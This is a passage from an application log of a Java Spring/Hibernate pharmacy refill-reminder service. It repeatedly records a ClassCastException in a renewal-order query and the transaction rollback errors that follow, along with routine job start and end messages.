org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at 